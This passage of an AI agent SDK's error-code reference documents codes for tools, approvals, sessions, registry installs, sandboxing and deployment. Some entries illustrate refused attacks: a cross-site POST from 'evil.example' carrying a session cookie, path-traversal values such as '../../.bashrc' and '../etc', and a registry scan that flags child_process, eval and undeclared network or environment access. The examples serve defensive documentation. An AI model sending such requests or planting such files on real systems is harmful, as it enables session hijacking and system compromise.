**Example:** `loadSpec('agent.yaml')` when no `agent.yaml` is in the cwd.

### LOUSHO\_SPEC\_INVALID

**Means:** `loadSpec()` found fields that fail validation. Each problem is
listed as `'<path>': <problem>`, plus any top-level field that looks like a
typo, with a suggestion.

**Fix:** fix each listed field. See [Configuration](/configuration).

**Example:**

```text theme={null}
loadSpec: 'agent.yaml' failed validation - 'prompt': missing required field 'prompt'; unknown field 'promt' (did you mean 'prompt'?)
```

### LOUSHO\_SPEC\_UNKNOWN\_FIELD

**Means:** the spec is otherwise valid, but a top-level field is a likely typo
of a spec field and would be ignored. Other unknown fields are still ignored.

**Fix:** rename it to the suggested field, or remove it.

**Example:** `tool: [http]` gives "unknown field 'tool' (did you mean 'tools'?)".

### LOUSHO\_SPEC\_UNSUPPORTED\_FORMAT

**Means:** the spec file's extension is not `.yaml`, `.yml` or `.json`.

**Fix:** rename the file, or convert it.

**Example:** `loadSpec('agent.toml')`.

## Tools

### LOUSHO\_TOOL\_NOT\_FOUND

**Means:** a spec's `tools` entry names a tool that is not a built-in tool.

**Fix:** use one of the tools the message lists, or build the agent with
`createAgent({ tools: [...] })` and your own tool. See [Tools](/tools).

**Example:** `tools: [not-a-real-tool]` in a spec.

### LOUSHO\_TOOL\_NEEDS\_CREDENTIALS

**Means:** a spec names a tool (`github`, `jira`) that needs credentials an
agent spec has no field for.

**Fix:** build the agent with `createAgent()` and pass the configured tool, e.g.
`createGitHubTools(config)` from `@lousho/build-ai-agent/integrations`.

**Example:** `tools: [github]` in a spec.

### LOUSHO\_TOOL\_EXECUTION\_FAILED

**Means:** a `ToolExecutionError` (or subclass, such as
`ToolArgumentsValidationError`). Inside a run the model gets it as a tool
result and the run carries on.

**Fix:** look at `error.toolName` and `error.cause`, and fix the tool or the
input it was given.

**Example:** a tool's `execute` threw. The built-in tools (`http`, `email`,
`github`, `jira`, `slack`, `ask_question`) throw an `SDKError` with this code for
a failed call; their message is the tool's result, so it carries no appended
`[code] hint (docs)` line.

### LOUSHO\_TOOL\_ARGS\_INVALID

**Means:** the model called a tool with arguments that do not match its input
schema (a `ToolArgumentsValidationError`). Inside a run the model gets the
issues as a tool result and can retry, so a run seldom ends on it.

Arguments that are not valid JSON (truncated, say) get the same error, with one
`(root)` issue: `arguments are not valid JSON: <parse error>; received: <the
text, truncated>`. The tool does not run. A small repair is tried first: a
surrounding markdown code fence, trailing commas and double-encoded JSON are
fixed when the result is a JSON object. Empty arguments (`""`) mean `{}`. The
call's `tool.start` event carries `rawArgs`, the text the model sent, whenever
it was repaired or failed to parse.

**Fix:** if you called the tool yourself, fix the arguments named in the message;
if the model keeps getting them wrong, make the field `.describe()`
text clearer. `error.issues` lists each path and problem. See [Tools](/tools).

**Example:** the model sends `{ to: 42 }` to a tool whose `to` is a string.

### LOUSHO\_MCP\_START\_FAILED

**Means:** a stdio MCP server (`mcpServers` entry with `command`) did not
start: the command was not found, the process exited during the `initialize`
handshake, or it did not answer within `connectTimeoutMs` (default 60
seconds). The error (`McpStartError`) carries `exitCode` (or `signal`) and
`stderr`, the last 20 lines the process wrote there, and the message shows
both. `connectMcp()` and `agent.ready()` (or the first `send()`) fail with it.

**Fix:** read the stderr lines in the message, or run the `command` with its
`args` yourself. Check the package name and version for an `npx` server,
the `env` it needs, and `cwd`. With `stderr: 'inherit'` or `'ignore'` there
are no lines to show. See [MCP](/mcp-integration#use-mcp-servers-in-an-agent).

**Example:** `npx -y some-mcp-server` for a package that does not exist exits
with an `npm error 404` line on stderr.

### LOUSHO\_MCP\_CALL\_FAILED

**Means:** a call to a loaded MCP tool failed at the protocol level: the
server exited or closed the connection (`MCP error -32000: Connection
closed`), the request timed out, or the server answered with a JSON-RPC
error. The message names the tool as the model sees it (`<server>__<tool>`);
`cause` is the MCP SDK's own error, whose numeric `code` is the JSON-RPC one.
A tool that ran and reported `isError: true` is not this error (the model gets
its text as an `McpToolError`), nor is a sign-in request
([`LOUSHO_MCP_AUTH_REQUIRED`](#lousho_mcp_auth_required)) or an abort. During
a run the result is a tool error and the run goes on; a flow step with
`retry: { maxAttempts }` runs again, and a server connected with `lazy`
(default) reconnects on the next call.

**Fix:** check the server named in the message is running and answers; for a
stdio server, run its command yourself and read its stderr. Raise the
server's `timeoutMs` if the request timed out.

**Example:** a stdio server crashes while handling `files__read`.

## Approvals and sessions

### LOUSHO\_APPROVAL\_STORE\_MISSING

**Means:** a tool that `needsApproval` was called in an
`AgentExecutor.execute()` run that has no `approvalStore` to pause in.

**Fix:** pass `approvalStore: new InMemoryApprovalStore()` (or a persistent
store), or use `createAgent()`, which has one by default. See
[Approvals](/approvals).

**Example:** `AgentExecutor.execute({ agent, input, provider, toolRegistry })`
with a `needsApproval` tool.

### LOUSHO\_APPROVAL\_NOT\_FOUND

**Means:** `resumeAfterApproval()` or `agent.approvals.resolve()` got an id that
is not pending: unknown, or already resolved.

**Fix:** resolve an id from `agent.approvals.list()` (or the `approvalId` of the
paused result); each approval resolves once.

**Example:** calling `agent.approvals.resolve({ id, approved: true })` twice.

The approvals route (`POST /chat/:sessionId/approvals/:id`) answers this code
with a `404` also when the approval belongs to another session than the one
in the URL.

### LOUSHO\_APPROVAL\_ORPHANED

**Means:** `agent.approvals.resolve()` (or `streamResolve()`, or
`resumeAfterApproval()`) got an approval whose paused run no longer waits on
it: the run's checkpoint (a session turn's `<id>.turn-<n>`, or a
`send(msg, { sessionId })` run's) was deleted (by `checkpoints.delete(id)`,
`discardPending()`, a TTL, or by hand) or replaced by a newer run under the same
id. The tool was not run, and the approval is withdrawn: it is no longer listed,
and resolving it again fails with `LOUSHO_APPROVAL_NOT_FOUND`.

**Fix:** start a new turn in the session (or a new run) instead; there is
nothing left to continue. `SqliteStore.prune()` keeps paused turns, so this
needs the checkpoint to be removed some other way.

**Example:** deleting `cust-7.turn-2` from the checkpoint store, then
approving the refund that turn paused on.

### LOUSHO\_APPROVAL\_CONFLICT

**Means:** a `409` from the approvals route: another request decided the same
approval first, and its continuation is still running (on this server
process).

**Fix:** do not decide again; read the session (`GET /chat/:sessionId`) to see
how the turn went on.

**Example:** two supervisors click "Approve" on the same refund at once.

### LOUSHO\_APPROVAL\_FORBIDDEN

**Means:** a `403` from the approvals route: the route's `authorizeApproval`
refused this caller. By default only the caller the paused run acts for may
decide it (see [Route auth](/auth#who-may-decide-an-approval)).

**Fix:** decide as a caller `authorizeApproval` accepts, or change
`authorizeApproval`.

**Example:** user `bob` posts a decision on an approval of `alice`'s run.

### LOUSHO\_APPROVAL\_DECISION\_INVALID

**Means:** a `400` from the approvals route: the body has neither
`approved` (a boolean) nor `answer` (a string).

**Fix:** send `{ "approved": true }` (or `false`, with an optional `note`),
or `{ "answer": "..." }` for an `ask_question` pause.

**Example:** posting `{ "approve": "yes" }` to
`/chat/alice-1/approvals/ap-1`.

### LOUSHO\_APPROVAL\_KIND\_MISMATCH

**Means:** a `400` from the approvals route: `answer` was sent to a pause
that is not a question. A question pause takes `answer` — or `approved` with
the answer as `note` (and `approved: false` to decline); a tool-call pause
takes `approved`; a sign-in pause completes itself once the user signs in.

**Fix:** send the field for the pause's kind; `GET /chat/:sessionId` shows a
pending pause's `approvalKind`.

**Example:** posting `{ "approved": true }` to a pause that waits for the
model's `ask_question` answer.

### LOUSHO\_SESSION\_FORBIDDEN

**Means:** a `403` from a session route: the route's `authorizeSession`
refused this caller the action (`read`, `chat` or `approve`) on this session.

**Fix:** use a session this caller owns, or change `authorizeSession`.

**Example:** user `bob` reads `GET /chat/alice-1`, which `alice` used first
(the default when no `authorizeSession` is set), or `authorizeSession` only
allows ids that start with the caller's id.

### LOUSHO\_REQUEST\_FORBIDDEN

**Means:** a `403` from a session route before it ran: a POST came from a page
on another origin (its `Origin` is not the server's own and not in
`allowedOrigins`, or the browser marked it `Sec-Fetch-Site: cross-site`), or
the `Host` header is not one the server allows (`allowedHosts`, or loopback
names on `lousho dev`).

**Fix:** call from the server's own origin, or add the page's origin to
`allowedOrigins` (see [Route auth](/auth#cross-site-requests)); for a
`Host` refusal, add the name to `allowedHosts` (`--allowed-hosts` on
`lousho dev`).

**Example:** a page on `https://evil.example` posts to `/api/agent/chat` with
the user's session cookie.

### LOUSHO\_REQUEST\_INVALID

**Means:** a `400` from a session route: the body is not valid JSON, or it
lacks a field the route needs (`POST /chat` without `sessionId` and `input`,
an empty `input`, an `input` with no `user` message).

**Fix:** send the fields the error message names, e.g.
`{ "sessionId": "chat-1", "input": "Hello" }` (see
[HTTP API](/deployment#http-api)).

**Example:** `POST /chat` with `{ "sessionId": "chat-1", "input": [] }`.

### LOUSHO\_UNSUPPORTED\_MEDIA\_TYPE

**Means:** a `415` from a session route: a POST body was not sent as JSON.
Form and `text/plain` bodies are refused because another site can send them
without a CORS preflight.

**Fix:** send `Content-Type: application/json` (`curl -H 'Content-Type:
application/json'`), or pass `requireJsonBody: false`.

**Example:** `curl -d '{"sessionId":"a","input":"hi"}' /chat` without `-H`
sends `application/x-www-form-urlencoded`.

### LOUSHO\_SESSION\_AWAITING\_APPROVAL

**Means:** a `SessionAwaitingApprovalError`: the session or `sessionId` run is
paused on an approval (`error.approvalId`), so it cannot take new input yet.

**Fix:** resolve the approval with `agent.approvals.resolve()` (or
`resumeAfterApproval()` with the same `checkpointStore`), then send again. See
[Durable execution](/durable-execution).

Over HTTP, `POST /chat` to such a session is a `409` with this code and the
approvals to decide (`approvalId`, `approvalIds`).

**Example:** `session.send('next')` while the previous turn waits on an approval.

### LOUSHO\_SESSION\_ID\_INVALID

**Means:** a session id is not 1-128 characters of letters, digits, `_` and
`-` (ids become file names, so `../` and `/` are refused). Or a run id
(`agent.send()` / `agent.stream()`'s `sessionId`, a checkpoint store's id) is
not 1-200 characters of letters, digits, `_`, `-` and `.` (not starting or
ending with `.`), the same rule on every store; or it ends with `.turn-<n>` or
`.paused`, which are a session's own checkpoint keys (a run under
`'victim.turn-2'` would write into session `victim`'s turn), or `.fire` (a
schedule's fire claim). The message says which of the two rules applies: an id
with a `.` or over 128 characters is a valid run id but not a valid session id.

**Fix:** use an id such as `'chat-9f2c4e7a1b'`, or omit it to get a generated one. On a
route that serves several users, do not make ids guessable from a user's name or number
(see [Who may use a session](/auth#who-may-use-a-session)).

**Example:** `agent.session({ id: '../etc' })`, or
`agent.send(msg, { sessionId: 'chat.turn-2' })`.

### LOUSHO\_SESSION\_FILE\_CORRUPT

**Means:** a stored transcript (a `FileSessionStore` file, or a `SqliteStore`
row) is not valid JSON or not a JSON array of messages, e.g. a write cut short.

**Fix:** restore the file from a backup, or delete it to start the session over:
`session.clear()` removes it.

**Example:** `sessions/user-42.json` containing `{}`.

### LOUSHO\_SESSION\_BUSY

**Means:** `session.compact()`, `session.clear()` or `session.fork()` was called while a turn of
that session is running or queued. From `send()` / `stream()`: another writer the in-process
queue cannot see (another process, or a second store object over the same data) committed a
turn while this one ran, so this turn was not committed (atomically with a store that has
`saveIf`: memory, file and SQLite; best effort with KV). Tool calls of the turn that ran are
kept: the turn up to their results is added after the other writer's turn. Also from `send()`,
`resume()`, `agent.send(msg, { sessionId })`, `agent.resume()` and `approvals.resolve()`: the
checkpointed run (or session turn) is running in another process, replica or store object right
now, which holds its run lease (see
[Durable execution](/durable-execution#run-leases)); nothing ran here, and a resolved
approval stays pending. Over HTTP, a `409` with `Retry-After` from `POST /chat`: another process or replica holds
the session's lease, or a request with the same `Idempotency-Key` is still running its turn of
that session (see [Resending a turn](/deployment#resending-a-turn)).

**Fix:** await the turn's `send()` (or abort it), then call again. After a `send()` that failed
this way, send again: the session reads the current transcript at the start of every call. A
lease left by a process that died is taken over once it expires (30 s, plus up to 30 s of
clock-skew grace on the file and SQLite stores), or at once when that process provably exited
on the same host and PID namespace. A run that stalled past its lease fails with this code at
its next checkpoint instead of overwriting the run that took over.

### LOUSHO\_SESSION\_TURN\_PENDING

**Means:** `session.compact()` was called while a durable session has an
interrupted turn, whose checkpoint is keyed by the transcript length.

**Fix:** finish it with `session.resume()` or drop it with
`session.discardPending()`, then call again.

### LOUSHO\_SESSION\_TURN\_FAILED

**Means:** a durable session's `send()` / `stream()` found the session's
unfinished turn, whose last attempt failed with a provider error that retrying
will not fix (a context-length or auth failure, or another 4xx). The turn's
checkpoint records it as `lastError` and `attempts`; the turn is not replayed.

**Fix:** drop the turn with `session.discardPending()` and send again, or fix
the cause and retry it with `session.resume()`.

### LOUSHO\_SESSION\_STREAM\_UNSUPPORTED

**Means:** `stream()` was called on an `AgentSession` built by hand without a
streaming runner.

**Fix:** get the session from `agent.session()`, which can stream, or call
`send()`.

**Example:** `new AgentSession(run).stream('hi')`.

### LOUSHO\_SESSION\_STEP\_NOT\_FOUND

**Means:** `session.fork({ fromStep })` was given a step that is not an integer
from 0 to the number of steps in `session.history()`. The error is a
`ConfigurationError` (`field: 'fromStep'`) whose message lists the valid range.

**Fix:** pick a step from `session.history()`, or `0` to keep nothing.

**Example:** `session.fork({ fromStep: 9 })` on a session with three steps.

### LOUSHO\_SESSION\_EXISTS

**Means:** `session.fork({ id })` was given an id that already has a transcript
in the session's store (or a checkpointed turn the fork would pick up), or the
session's own id. The error is a `ConfigurationError` (`field: 'id'`).

**Fix:** pick an unused id, or leave `id` out to get `<id>-fork-<n>`.

**Example:** `session.fork({ fromStep: 1, id: session.id })`.

### LOUSHO\_SESSION\_FORK\_UNSUPPORTED

**Means:** `fork()` was called on an `AgentSession` built by hand without the
function that creates sibling sessions.

**Fix:** get the session from `agent.session()`, which can fork.

**Example:** `new AgentSession(run).fork({ fromStep: 0 })`.

### LOUSHO\_REMOTE\_UNAUTHORIZED

**Means:** `lousho eval --url`, `remoteTarget()` or a `remoteAgent()` sub-agent
got `401` from the deployed agent: the bearer token is missing or wrong. An eval
case fails (the run goes on); the lead model gets a structured tool error. The
token is never part of the message.

**Fix:** pass the deployment's `LOUSHO_API_TOKEN` with `--token` or the
`LOUSHO_EVAL_TOKEN` environment variable. See
[Run evals against a deployment](/evals#run-evals-against-a-deployment).

**Example:** `lousho eval --url https://agent.example.com` against a deployment with a token set.

### LOUSHO\_REMOTE\_REQUEST\_FAILED

**Means:** a remote eval case (`lousho eval --url`, `remoteTarget()`) or a
`remoteAgent()` task could not run: the deployment was unreachable, answered
with a non-2xx status, was aborted, or its event stream broke or was truncated
(no `run.done`). A `remoteAgent()` task whose remote run ends in an error also
fails with it, and the message says "the remote run ended in an error". The
lead model gets it as a structured tool error; the bearer token is never part
of it.

**Fix:** read the message (it names the url and, for a sub-agent, the remote
session id); check the URL, `GET <url>/health` and the deployment's logs.

**Example:** `lousho eval --url http://localhost:1` with nothing listening.

### LOUSHO\_SUBAGENT\_TASK\_NOT\_FOUND

**Means:** a `task` call asked to resume or fork a `taskId` that this lead
session has no conversation for (never started, started in another lead
session or run, or not finished), or that belongs to another sub-agent. The
lead model gets it as a structured tool error.

**Fix:** use a `taskId` from an earlier `task` result of the same lead
session, with the same `agent`; or omit `taskId` to start a new task. See
[Sub-agents](/sub-agents#continuing-a-task).

**Example:** `task({ agent: 'researcher', taskId: 'task_7', prompt })` when the
session has only `task_1`.

### LOUSHO\_SUBAGENT\_TASK\_BUSY

**Means:** a `task` call asked to resume or fork a task whose sub-agent is
still running, for example a background task that has not ended.

**Fix:** wait for it with `agent_await` (or stop it with `agent_cancel`),
then continue it.

**Example:** `task({ agent: 'researcher', taskId: 'task_1', prompt })` right
after starting `task_1` with `background: true`.

### LOUSHO\_CHECKPOINT\_NOT\_FOUND

**Means:** `AgentExecutor.fork()` or `agent.fork()` was asked for a step the
session's checkpoint history does not have: the session is unknown, the step
was never reached, or its entries were dropped past the store's `historyLimit`.
The message lists the steps that are kept.

**Fix:** fork at one of the listed steps, or raise `historyLimit` on the store.
See [Durable execution](/durable-execution#fork-and-replay).

**Example:** `agent.fork('job-1', { fromStep: 9 })` after a 3-step run.

### LOUSHO\_CHECKPOINT\_CORRUPT

**Means:** a stored checkpoint cannot be read: it is not valid JSON or not a
checkpoint, typically a write cut short by a crash or power loss on a store
without durable writes. `send()`, `resume()` and `agent.resume()` fail on it,
and `agent.pending()` lists the run as `'in-progress'` with this code in its
`lastError` (`retryable: false`).

**Fix:** drop it: `session.discardPending()` (or `session.clear()`) for a
session's turn, `checkpointStore.delete(id)` for a run. The interrupted run
cannot be resumed.

**Example:** a 0-byte `checkpoints/chat.turn-2.json` left after a power loss.

### LOUSHO\_AGENT\_DRIFT

**Means:** a paused or interrupted run was resumed by an agent that differs
from the one that saved it, and `onAgentDrift` is `'error'`. The message names
what changed: the model, tools added, removed or with a changed input schema,
or the instructions. It is thrown before any model call or tool runs; the
checkpoint (and, for an approval, the pending record) is left as it was.

**Fix:** resume with the agent that paused the run, or set `onAgentDrift` to
`'warn'` (the default) or `'ignore'` to continue anyway. See
[Durable execution](/durable-execution#resuming-with-a-changed-agent).

**Example:** `createAgent({ store, onAgentDrift: 'error' })` after a deploy that
renamed a tool, then `agent.resume('job-1')`.

### LOUSHO\_RESUME\_TOOL\_MISSING

**Means:** a resumed run is waiting on a tool call (an approved call, or a call
of the model's last turn that has no result yet) whose tool the resuming agent
no longer has. This is an error whatever `onAgentDrift` is, because the call
cannot run.

**Fix:** give the tool back under the same name, or drop the paused run (delete
its checkpoint, reject its approval). See
[Durable execution](/durable-execution#resuming-with-a-changed-agent).

**Example:** a run paused on `charge_card`, then a deploy removes that tool and
`agent.approvals.resolve({ id, approved: true })` is called.

### LOUSHO\_RUN\_ALREADY\_ITERATED

**Means:** an `AgentRun` from `session.stream()` was iterated a second time.

**Fix:** collect the events in the first `for await` loop, or call `stream()`
again for a new run. See [Streaming](/streaming).

**Example:** two `for await (const event of run)` loops over the same `run`.

## Schedules

### LOUSHO\_SCHEDULE\_INVALID

**Means:** `defineSchedule()` was given an invalid definition: a cron expression
that does not parse (the message names the field), or not exactly one of
`prompt` and `run`. Agent directories hit this while loading `schedules/`.

**Fix:** correct the expression or give the schedule one of `prompt` / `run`.
See [Schedules](/schedules).

**Example:** `defineSchedule({ cron: '61 * * * *', prompt: 'hi' })`.

### LOUSHO\_SCHEDULE\_RUN\_INCOMPLETE

**Means:** a prompt schedule's turn ended with a `finishReason` other than
`'stop'`; the message names it. `startSchedules()` passes this to `onError`,
`fireSchedule()` rejects with it, and a Worker's `scheduled()` logs it. With
`'awaiting-approval'` the message names the approval, which stays pending.

**Fix:** resolve the pending approval with `agent.approvals.resolve()`, or
change the prompt, tools, `output` schema or limits so an unattended turn can
finish. See [Schedules](/schedules).

**Example:** a schedule whose prompt makes the agent call a `needsApproval` tool.

## Channels

### LOUSHO\_CHANNEL\_INVALID

**Means:** a file in an agent directory's `channels/` folder does not default-export
a channel (an object with `parse` and `reply`). The message names the file.

**Fix:** default-export a channel made with `defineChannel()`, `httpChannel()`,
`webhookChannel()`, `slackChannel()`, `discordChannel()`, `telegramChannel()`, `githubChannel()` or `teamsChannel()`. See [Channels](/channels).

**Example:** `export default { cron: 'x' }` in `channels/sms.ts`.

### LOUSHO\_MEMORY\_INVALID

**Means:** a file in an agent directory's `memory/` folder does not default-export
a memory slot (an object with a `scope` and a `provider`). The message names the file.

**Fix:** default-export `defineMemory({ ... })`, or the same options without a `name`
(the file name is used). See [Memory](/memory) and [Agent directories](/agent-directories#memory).

**Example:** `export default { cron: 'x' }` in `memory/notes.ts`.

## Registry

### LOUSHO\_REGISTRY\_UNREACHABLE

**Means:** `lousho add` could not read a registry document: the URL did not answer
in time or returned an error, the local file is missing, the scheme is not `http(s)`
or the document is larger than the cap.

**Fix:** check the `--registry` value (or `LOUSHO_REGISTRY`) and your connection.
See [Registry](/registry).

**Example:** `lousho add x --registry https://example.invalid/index.json`.

### LOUSHO\_REGISTRY\_ITEM\_NOT\_FOUND

**Means:** the registry's index has no item with that name. The message suggests the
closest name when there is one.

**Fix:** run `lousho add --list` and use one of the names.

**Example:** `lousho add web-serach` when the item is `web-search`.

### LOUSHO\_REGISTRY\_INVALID

**Means:** a registry index or item document is not valid JSON or does not match the
format (a missing field, an unknown item type, an item whose document names another item).

**Fix:** fix the document the message names. See [Registry](/registry#format).

**Example:** an item document without `files`.

### LOUSHO\_REGISTRY\_UNSAFE\_PATH

**Means:** an item asks to write a file that is absolute, has `..`, backslashes or a
drive letter, is outside the folder its type may write to, resolves outside the agent
directory through a symlink, or is larger than the size caps. Nothing was written.

**Fix:** do not install the item; tell whoever hosts the registry.
See [Registry](/registry#safety-rules).

**Example:** a tool item with a file `../../.bashrc`.

### LOUSHO\_REGISTRY\_FILE\_EXISTS

**Means:** a file the item would write already exists. Nothing was written.

**Fix:** pass `--overwrite`, or move your file away first.

**Example:** `lousho add web-search` twice.

### LOUSHO\_REGISTRY\_MANIFEST\_MISMATCH

**Means:** an item's code reaches for something its permission manifest does not
declare: it imports `child_process` without `exec: true`, writes files without
`filesystem: "write"`, calls `fetch()` or names a URL host that is not in `network`,
reads an environment variable that is not in `env`, or uses `eval`, `new Function`,
a computed `process.env[...]` or a dynamic `import()` / `require()`, which are never
allowed. The message lists every finding as `<file>:<line>: <what> (<fix>)`. Nothing
was written. `--dry-run` reports it too.

**Fix:** do not install the item; tell whoever hosts the registry. Its author fixes
the code or declares the permission. See [Registry](/registry#permission-manifest).

**Example:** a tool item whose file imports `node:child_process` while its manifest
leaves `exec` out.

## Sandbox

### LOUSHO\_SANDBOX\_EGRESS\_UNSUPPORTED

**Means:** a `SubprocessSandbox` with `network: { allow }` and a `broker` cannot make
the credential broker the container's only route out on this Docker daemon, so it
started no container instead of granting open egress. The message names the reason:
Docker Desktop (containers run in a VM, so the host has no address on the internal
network), rootless Docker, a daemon on another machine (the broker cannot listen on
the network's gateway), a reused network that is not internal, or an Engine older
than 25.0.5, which forwards DNS from internal networks.

**Fix:** run the agent on the Linux host of a Docker Engine 25.0.5 or later, or use
`network: 'none'`. See [Workspace tools](/workspace-tools#sandboxed-shell-sandboxshell).

**Example:** `new SubprocessSandbox({ network: { allow: ['api.github.com'] }, broker })` with Docker Desktop.

### LOUSHO\_SANDBOX\_PATH\_DENIED

**Means:** `SubprocessSandbox.writeFile()` was given a path outside the sandbox's
`root` (by `..`, an absolute path elsewhere, or a symlink that leads out), or the
root itself. Nothing was written.

**Fix:** write under the root, or construct the sandbox with the `root` that should
contain the file (`new SubprocessSandbox({ root })`; the default is the working
directory at construction). See [Guardrails](/guardrails#sandboxed-tools).

**Example:** `sandbox.writeFile('/etc/profile.d/x.sh', ...)` with the default root.

## Agent directories, skills and flows

### LOUSHO\_AGENT\_DIR\_INVALID

**Means:** `loadAgentDir()` (or `lousho dev`, `lousho build`, which use it) could
not load a directory: it is missing or unreadable, a file is empty, a `tools/`
file has no usable export, a config file does not parse, or a sub-agent folder is
malformed. The message names the file.

**Fix:** correct the file the message names. See [Agent directories](/agent-directories).

**Example:** `loadAgentDir('./agents/support')` where `instructions.md` is empty.

### LOUSHO\_SKILL\_INVALID

**Means:** a skill is malformed (`defineSkill()`, a `skills/` folder, including
`loadSkills()` on a file with bad frontmatter) or `withSkills()` was given
duplicate names, or a skill name that collides with the `load_skill` or
`read_skill_file` tool.

**Fix:** give each skill a unique name, a description and content; rename a tool called
`load_skill`. See [Skills](/skills).

**Example:** `defineSkill({ name: 'x', description: '', content: '...' })`.

### LOUSHO\_FLOW\_INVALID

**Means:** a flow definition is wrong: a missing or duplicate input name, a
missing flow name or code, or a node of an unknown type.

**Fix:** fix the part of the flow the message names. See [Flows](/flows).

**Example:** two `.input('city')` calls on one `FlowBuilder`.

### LOUSHO\_FLOW\_TOOL\_DENIED

**Means:** a flow's `toolCall` step was not run. A permission rule or the tool's
`needsApproval` policy denied it, or the call needs approval and the flow
context's `approve` callback rejected it, returned `'defer'` (a flow cannot
pause), or was not passed at all.

**Fix:** pass `approve` in the flow context to decide calls that need approval,
or change the rule that denied the call. See [Flows](/flows#tool-calls).

**Example:** a flow step that calls a `needsApproval: true` payment tool, run
with no `approve` callback.

### LOUSHO\_FLOW\_CHANGED

**Means:** `FlowExecutor.resume()` was called with a flow whose steps changed
(added, removed, moved, or a step's type, id, tool or agent changed) since the
run was saved. Completed steps are saved by their place in the flow, so the
saved results would land on the wrong steps. Prompts and other settings may
change freely.

**Fix:** resume with the flow version that started the run, or start a new run
under another `runId`. See [Flows](/flows).

**Example:** a run saved after `charge` in `[charge, notify]`, resumed with
`[audit, charge, notify]`.

## Storage, deployment and integrations

### LOUSHO\_STORAGE\_FAILED

**Means:** storage failed: a SQLite database could not be opened (the `cause`
has the driver's error), was used after `close()`, has a newer schema than this
SDK knows, or `node:sqlite` is missing; or a file exceeded the storage size limit;
or a `fileStore()` / `FileSessionStore` file could not be read or replaced
because another handle kept it open (Windows `EPERM` / `EACCES` / `EBUSY`
for longer than the \~1.3 s the store retries; the `cause` is the last error);
or a `fileMemory` change waited more than 10 s for another writer's
`<key file>.lock` lock file.

**Fix:** check the path and permissions, use Node >= 22.13 for `SqliteStore` (or a
file-based store), and create a new store after closing one.

**Example:** `new SqliteStore('/read-only/agent.db')`.

### LOUSHO\_STORAGE\_BUSY

**Means:** a `SqliteStore` write could not get the database's write lock because another connection or process (a second replica, a backup, a long transaction) holds it. The driver waits only briefly (50 ms) so the event loop is not frozen; the stores' transactional writes (checkpoint and approval saves, `resolve()`, `saveIf()`, OAuth sign-in claims, SQLite memory updates) then retry with backoff for about 5 seconds before they give up with this error. `prune()` does not retry. The original driver error is the `cause`.

**Fix:** retry the call. If it keeps happening, find what holds the lock for long.

**Example:** two processes saving to the same `agent.db` while one runs a multi-second transaction.

### LOUSHO\_TRIGGER\_INVALID

**Means:** a trigger adapter got invalid options: a cron adapter without exactly
one of `intervalMs` / `cron`, a webhook `auth` block with an empty secret or an
unknown type, or a Slack trigger that cannot verify requests.

**Fix:** use the example in the message. See [Channels](/channels) and [Schedules](/schedules).

**Example:** `webhookChannel({ auth: { type: 'hmac', secret: '' } })`.

### LOUSHO\_CHANNEL\_REQUEST\_FAILED

**Means:** a call to a chat platform's API (Slack, Discord, Telegram, GitHub) failed; the message
names the call and the HTTP status or the platform's error.

**Fix:** check the bot token and its permissions, and the platform status. See [Channels](/channels).

**Example:** Slack `chat.postMessage` answering `channel_not_found`, Telegram `sendMessage` answering 400 for an unknown chat, or GitHub `POST /repos/{owner}/{repo}/issues/{number}/comments` answering 403 for a token without write access.

### LOUSHO\_DEPLOY\_FAILED

**Means:** `lousho build` / `lousho dev` / the node-server runtime could not
bundle or start the agent: a missing `--agent`, an agent path that is not found
or not an agent directory, a bundling failure (an import that cannot be resolved; install it, or set `LOUSHO_BUILD_VERBOSE=1` for the full log), a bad `LOUSHO_STORE` value, missing runtime sources, or a tool the
Cloudflare Worker target does not have.

**Fix:** follow the message. See [Deployment](/deployment).

**Example:** `lousho build --target node-server` without `--agent`.

### LOUSHO\_SERVER\_UNPROTECTED

**Means:** the built `node-server` (or the `docker` image) was asked to listen
on an interface other than loopback (`localhost`, `127.x.x.x`, `::1`) with no
route auth: no `LOUSHO_API_TOKEN`, no build token and no `auth.ts`. Anyone who
could reach that interface could use the agent, so it refuses to start.

**Fix:** set `LOUSHO_API_TOKEN`, add an [`auth.ts`](/auth) to the agent
directory, or bind to `127.0.0.1` (`HOST` / `--host`). To serve an open agent
on purpose (a private network, auth at a proxy in front), set
`LOUSHO_ALLOW_PUBLIC=1`. See [Deployment: Auth](/deployment#auth).

**Example:** `docker run -p 3000:3000 lousho-agent` with no `-e LOUSHO_API_TOKEN=...`.

## Tests and evals

### LOUSHO\_EVALS\_INVALID

**Means:** an eval helper was used wrongly: `defineEval()` outside vitest,
`t.judge()` before `t.send()` or without a judge, or `llmJudge()` outside the
judge runner.

**Fix:** follow the message. See [Evals](/evals).

**Example:** calling `t.judge('polite')` before `t.send('hi')`.

### LOUSHO\_TEST\_FAILED

**Means:** a check a test helper makes did not hold: an eval did not pass, or a
`mockModel()` script still had unused turns at the end.

**Fix:** read the message; fix the agent or remove the extra scripted turns. See [Testing](/testing).

**Example:** `mockModel([...three turns])` where the agent stopped after two.

### LOUSHO\_CASSETTE\_INVALID

**Means:** a record/replay cassette is missing, is not valid JSON or does not
match the recorded request. The message names the file. A mismatch inside a
run reaches `send()` as the `CassetteMismatchError` itself (from
`@lousho/build-ai-agent/testing`, with `.cassette` and `.callNumber`) - it is
a test-fixture failure, so it is never compacted into a
`CompactedLLMProviderError`.

**Fix:** record it again (`lousho eval --record <file>`, or `recordReplay()` with
`mode: 'record'`). See [Testing](/testing).

**Example:** `lousho eval --replay` for an eval that was never recorded.

## General

### LOUSHO\_GENERIC\_ERROR

**Means:** an `SDKError` created without a code.

**Fix:** read the message; it says what failed.

**Example:** `new SDKError('Something failed')`.

### LOUSHO\_AGENT\_EXECUTION\_FAILED

**Means:** an `AgentExecutionError`: running an agent failed.

**Fix:** look at `error.cause` for the underlying failure.

**Example:** `new AgentExecutionError('Agent failed', agentId, cause)`.

### LOUSHO\_FLOW\_EXECUTION\_FAILED

**Means:** a `FlowExecutionError`: a flow step failed.

**Fix:** look at `error.step` and `error.cause`. See [Flows](/flows).

**Example:** a flow step whose agent threw.

### LOUSHO\_VALIDATION\_FAILED

**Means:** a `ValidationError`: input failed validation.

**Fix:** fix the fields listed in `error.errors`.

**Example:** `new ValidationError('Validation failed', { email: ['Invalid email'] })`.

### LOUSHO\_OPERATION\_TIMEOUT

**Means:** a `TimeoutError`: an operation (`error.operation`) did not finish
within `error.timeoutMs`.

**Fix:** raise the timeout, or make the operation faster.

**Example:** a flow step with `timeoutMs` whose attempt takes longer than that (`error.operation` is `flow.node <type>`).

### LOUSHO\_OUTPUT\_INVALID

**Means:** reserved. An invalid structured-output reply is not thrown today: the
run ends with `finishReason: 'output-invalid'` and `outputError`.

**Fix:** see [Structured output](/structured-output).

